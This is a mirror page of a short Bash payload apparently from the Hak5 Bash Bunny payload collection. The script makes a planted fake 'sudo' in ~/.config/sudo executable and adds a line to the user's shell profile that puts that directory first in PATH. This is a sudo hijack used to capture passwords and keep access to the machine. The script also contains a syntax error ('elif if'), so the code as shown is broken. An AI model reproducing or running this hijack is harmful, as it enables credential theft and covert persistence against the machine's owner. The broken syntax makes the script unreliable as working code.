mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
14 lines
309 B
Bash
14 lines
309 B
Bash
#!/bin/bash
|
|
|
|
chmod u+x ~/.config/sudo/sudo
|
|
if [ -f ~/.bash_profile ]
|
|
then
|
|
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile
|
|
elif if [ "$(uname -s)" == "Darwin" ]
|
|
then
|
|
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile
|
|
else
|
|
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc
|
|
fi
|
|
|